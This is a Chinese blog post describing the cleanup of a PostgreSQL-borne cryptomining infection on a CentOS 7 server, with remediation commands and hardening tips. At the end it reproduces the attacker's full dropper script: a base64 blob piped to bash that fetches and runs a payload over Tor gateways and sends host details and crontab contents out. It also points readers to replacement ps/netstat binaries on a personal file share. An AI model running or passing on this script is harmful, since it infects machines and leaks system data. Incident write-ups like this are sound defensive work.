记一次服务器 linux(centos7)被 postgres 病毒攻击, 挖矿的事故

本贴最后更新于 1314 天前,其中的信息可能已经沧海桑田

ssh 连上去(幸好还能连得上去)

top 一看,好家伙,某个叫不上名字的进程占据了接近 100% 的 CPU。

稍加搜索,发现是通过 postgre 数据库漏洞的挖矿病毒,但是机器是甲方买的云服务器,自己没有重装的管理权限,没办法,手动杀毒吧。折腾了几个小时,挺麻烦的,长个教训,以后注意网络安全。

先不要把这个进程 kill 了,它只是个挖矿的进程,占用资源较多而已,留着后面有用到。而且 kill 了之后,几秒钟就会再启动的,治标不治本!!!

记录下解决的过程:

1) 查看出问题的 postgres 用户的定时任务

**

sudo crontab -u postgres -l

很明显了,是这个 sh 脚本搞得鬼。

2)看看里面的内容:

**

cat /var/lib/pgsql/.systemd-service.sh

base64 编码的脚本,不要慌张,在线的解码工具多得是,复制过去解码看看。

果然是病毒脚本,选中的部分经查询发现是 dns 服务商,具体作用未知。(有懂的大佬请不吝赐教,脚本源码附在本文末尾)

3)删除定时任务,删除脚本

**

sudo crontab -u postgres -r
sudo rm -f /var/lib/pgsql/.systemd-service.sh

4) 查看 ps 命令,netstat 命令是否被替换了,恢复正常命令。(替换过的 ps 查不到病毒的执行命令)

试试看 ps 能不能查到那个进程。格式如下:

**

ps -ef | grep command 
ps -ef | grep 6ih88*

如果查不到,那可以断定 ps 命令被改过了。

其次可以通过命令大小进行判定。正常的 ps、netstat 的大小:

如果被替换了没有现成的可执行文件,可以下载我的:https://www.jianguoyun.com/p/DdgCLlYQtIDzBxiQ2doD

5) 查看是否有奇奇怪怪的 ssh 连接

netstat -a -t|grep 'ssh'

6) ls -l /proc/pid 查看相应 pid 的详细信息(查找病毒执行文件所在地)

cwd:表示进程的运行目录(常为服务器攻击成功后所在目录)
exe:表示执行程序的绝对路径(常为病毒文件目录)
cmdline:表示程序运行时输入的命令行命令
environ:记录进程运行时的环境变量
fd:该目录为进程打开或使用的文件的符号连接
病毒文件找到后,注意解读病毒文件内容,寻找有效信息

看来这个病毒还是挺机智的,启动完成后就把 exe 的执行路径给删除了,让我们找不到真正的可执行文件。

查看了 /var/lib/pgsql/11/data/ 路径下的文件后,确实也没找到可疑文件。删除可执行的源文件这个目标先暂时放弃了,如果有大佬解决了,欢迎联系我,共同学习进步。

(之前删除了可执行脚本后,就不会再启动了,后面步骤再关掉连接,理论上就解决了挖矿的病毒。)

7) 查找后门文件 & 删除自动重置密码的脚本

history ; cat ~/.bash_history 查看被攻击后所执行的历史命令

find / -mtime 0 返回最近 24 小时修改过的文件

find / -mtime 1 返回最近 24-48 小时间修改过的文件

/home 目录下有 cloudResetPwdAgent 脚本,删除之。

**

sudo rm /home/CloudResetPwdAgent/ -rf
sudo rm /home/install*.sh -f

8)关闭 postgres、root 用户的远程连接权限,避免悲剧再次发生。

vim /etc/ssh/sshd_config

修改如下图所示:

9) 重启 cron 服务

**

sudo service crond restart

如果挖矿程序依然能启动,就重启下服务器。

事故启示录:不要把有固定用户名的用户放在远程连接的名单里面,容易被暴力破解!!!还有 redis 这样没有用户名,只需要提供密码的数据库,如果要运行远程连接,请换一个端口,不要用默认的端口做开放!!!

参考资料:

#!/bin/bash
exec &>/dev/null
echo KanPDu4B6yKovWrVggXMxX/5FlO+IQJ10sR53HVFVWnTIj4+hzLX7rnkZKCnQexE
echo S2FuUER1NEI2eUtvdldyVmdnWE14WC81RmxPK0lRSjEwc1I1M0hWRlZXblRJajQraHpMWDdybmtaS0NuUWV4RQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ5NG1jcmZlaWdjYWEycm9iamszYXpiMnF3Y2Q1aGs0NXhwb2FkZHVwbWR3djI0cW9nZ25tZGJpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0IG9uaW9uLmZvdW5kYXRpb24gb25pb24uY29tLmRlIG9uaW9uLnNoIHRvcjJ3ZWIuc3UgdG9yMndlYi5pbwpkbwppZiAhIGxzIC9wcm9jLyQoaGVhZCAtMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL2Rldi9zaG07dSAkdC4kaCkKZWxzZQpicmVhawpmaQpkb25lCg==|base64 -d|bash

作者:速度时间
链接:https://www.jianshu.com/p/bd6b89acf789
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。****

  • PostgreSQL

    PostgreSQL 是一款功能强大的企业级数据库系统,在 BSD 开源许可证下发布。

    22 引用 • 22 回帖
  • CentOS

    CentOS(Community Enterprise Operating System)是 Linux 发行版之一,它是来自于 Red Hat Enterprise Linux 依照开放源代码规定释出的源代码所编译而成。由于出自同样的源代码,因此有些要求高度稳定的服务器以 CentOS 替代商业版的 Red Hat Enterprise Linux 使用。两者的不同在于 CentOS 并不包含封闭源代码软件。

    238 引用 • 224 回帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...